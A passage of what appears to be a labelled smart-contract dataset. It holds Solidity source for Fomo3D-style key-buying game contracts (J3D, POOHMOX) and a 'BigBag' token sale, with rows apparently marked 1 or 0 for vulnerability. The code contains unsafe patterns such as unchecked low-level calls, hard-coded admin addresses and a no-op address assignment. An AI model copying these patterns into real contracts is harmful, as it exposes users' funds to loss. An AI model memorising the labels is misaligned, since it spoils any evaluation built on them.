plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, J3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit J3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, janPot_ ); } bool public activated_ = false; function activate() public { require( msg.sender == 0x189a9E570DAFbCEB2417f177be8448B6aa3126f7 || msg.sender == 0x3fbF05B1035ACBe87E4931ad143FeeC3BeCaD348 , "only team just can activate" ); require(activated_ == false, "jkp already activated"); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } function setGasPriceLimit(uint256 priceLimit) public { require( msg.sender == 0x189a9E570DAFbCEB2417f177be8448B6aa3126f7 || msg.sender == 0x3fbF05B1035ACBe87E4931ad143FeeC3BeCaD348 , "only team just can activate" ); gasPriceLimit_ = priceLimit; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } } library UintCompressor { using SafeMath for *; function insert(uint256 _var, uint256 _include, uint256 _start, uint256 _end) internal pure returns(uint256) { require(_end < 77 && _start < 77, "start/end must be less than 77"); require(_end >= _start, "end must be >= start"); _end = exponent(_end).mul(10); _start = exponent(_start); require(_include < (_end / _start)); if (_include > 0) _include = _include.mul(_start); return((_var.sub((_var / _start).mul(_start))).add(_include).add((_var / _end).mul(_end))); } function extract(uint256 _input, uint256 _start, uint256 _end) internal pure returns(uint256) { require(_end < 77 && _start < 77, "start/end must be less than 77"); require(_end >= _start, "end must be >= start"); _end = exponent(_end).mul(10); _start = exponent(_start); return((((_input / _start).mul(_start)).sub((_input / _end).mul(_end))) / _start); } function exponent(uint256 _position) private pure returns(uint256) { return((10).pwr(_position)); } } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library J3DKeysCalcLong { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } library J3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 pot; uint256 aff; uint256 jan; uint256 com; } struct PotSplit { uint256 gen; uint256 win; uint256 next; uint256 com; } }
1
4,852
pragma solidity ^0.6.2; library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.6.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.6.0; library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } pragma solidity 0.6.12; contract BigBag { using SafeERC20 for IERC20; address public dao_agent = 0xe40C0C4F8E2424c74e13a301C133ce8b80d90549; IERC20 public xrt = IERC20(0x7dE91B204C1C737bcEe6F000AAA6569Cf7061cb7); uint256 public amount_wei = 10 ether; uint256 public amount_wn = 216307123669; function buy() payable external { require(msg.value == amount_wei, "transaction value does not match"); xrt.safeTransferFrom(dao_agent, msg.sender, amount_wn); dao_agent.call{gas: 50000, value: msg.value}(""); require(address(this).balance == 0, "transfer is not complete"); } }
0
2,262
pragma solidity ^0.4.24; contract POOHMOXevents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 POOHAmount, uint256 genAmount, uint256 potAmount ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 POOHAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 POOHAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 POOHAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract POOHMOX is POOHMOXevents { using SafeMath for *; using NameFilter for string; using KeysCalc for uint256; PlayerBookInterface private PlayerBook; address private admin = msg.sender; address private flushDivs; string constant public name = "POOHMOX"; string constant public symbol = "POOHMOX"; uint256 private rndExtra_ = 1 seconds; uint256 private rndGap_ = 1 seconds; uint256 private rndInit_ = 5 minutes; uint256 private rndMax_ = 5 minutes; uint256 constant private rndInc_ = 5 minutes; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => POOHMOXDatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => POOHMOXDatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => POOHMOXDatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => POOHMOXDatasets.TeamFee) public fees_; mapping (uint256 => POOHMOXDatasets.PotSplit) public potSplit_; constructor(address whaleContract, address playerbook) public { flushDivs = whaleContract; PlayerBook = PlayerBookInterface(playerbook); fees_[0] = POOHMOXDatasets.TeamFee(39,20); potSplit_[0] = POOHMOXDatasets.PotSplit(15,10); } modifier isActivated() { require(activated_ == true); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0); require(_addr == tx.origin); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000); require(_eth <= 100000000000000000000000); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { POOHMOXDatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, _eventData_); } function buyXid(uint256 _affCode) isActivated() isHuman() isWithinLimits(msg.value) public payable { POOHMOXDatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } buyCore(_pID, _affCode, _eventData_); } function buyXaddr(address _affCode) isActivated() isHuman() isWithinLimits(msg.value) public payable { POOHMOXDatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } buyCore(_pID, _affID, _eventData_); } function buyXname(bytes32 _affCode) isActivated() isHuman() isWithinLimits(msg.value) public payable { POOHMOXDatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } buyCore(_pID, _affID, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { POOHMOXDatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } reLoadCore(_pID, _affCode, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { POOHMOXDatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } reLoadCore(_pID, _affID, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { POOHMOXDatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } reLoadCore(_pID, _affID, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { POOHMOXDatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit POOHMOXevents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.POOHAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit POOHMOXevents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit POOHMOXevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit POOHMOXevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit POOHMOXevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { return 0.01 ether; } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3] ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, POOHMOXDatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, 0, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit POOHMOXevents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.POOHAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _eth, POOHMOXDatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, 0, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit POOHMOXevents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.POOHAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, POOHMOXDatasets.EventReturns memory _eventData_) private { require(_eth >= 0.01 ether); if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][0] = _eth.add(rndTmEth_[_rID][0]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, 0, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, 0, _keys, _eventData_); endTx(_pID, 0, _eth, _keys, _eventData_); } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook)); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook)); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(POOHMOXDatasets.EventReturns memory _eventData_) private returns (POOHMOXDatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function managePlayer(uint256 _pID, POOHMOXDatasets.EventReturns memory _eventData_) private returns (POOHMOXDatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(POOHMOXDatasets.EventReturns memory _eventData_) private returns (POOHMOXDatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _dev = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _POOH = (_pot.mul(potSplit_[_winTID].pooh)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_dev)).sub(_gen)).sub(_POOH); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); admin.transfer(_dev); flushDivs.call.value(_POOH)(bytes4(keccak256("donate()"))); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.POOHAmount = _POOH; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndMax_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, POOHMOXDatasets.EventReturns memory _eventData_) private returns(POOHMOXDatasets.EventReturns) { uint256 _dev = _eth / 100; uint256 _POOH = 0; if (!address(admin).call.value(_dev)()) { _POOH = _dev; _dev = 0; } uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit POOHMOXevents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _POOH = _POOH.add(_aff); } _POOH = _POOH.add((_eth.mul(fees_[_team].pooh)) / (100)); if (_POOH > 0) { flushDivs.call.value(_POOH)(bytes4(keccak256("donate()"))); _eventData_.POOHAmount = _POOH.add(_eventData_.POOHAmount); } return(_eventData_); } function potSwap() external payable { admin.transfer(msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, POOHMOXDatasets.EventReturns memory _eventData_) private returns(POOHMOXDatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].pooh)) / 100)); uint256 _pot = 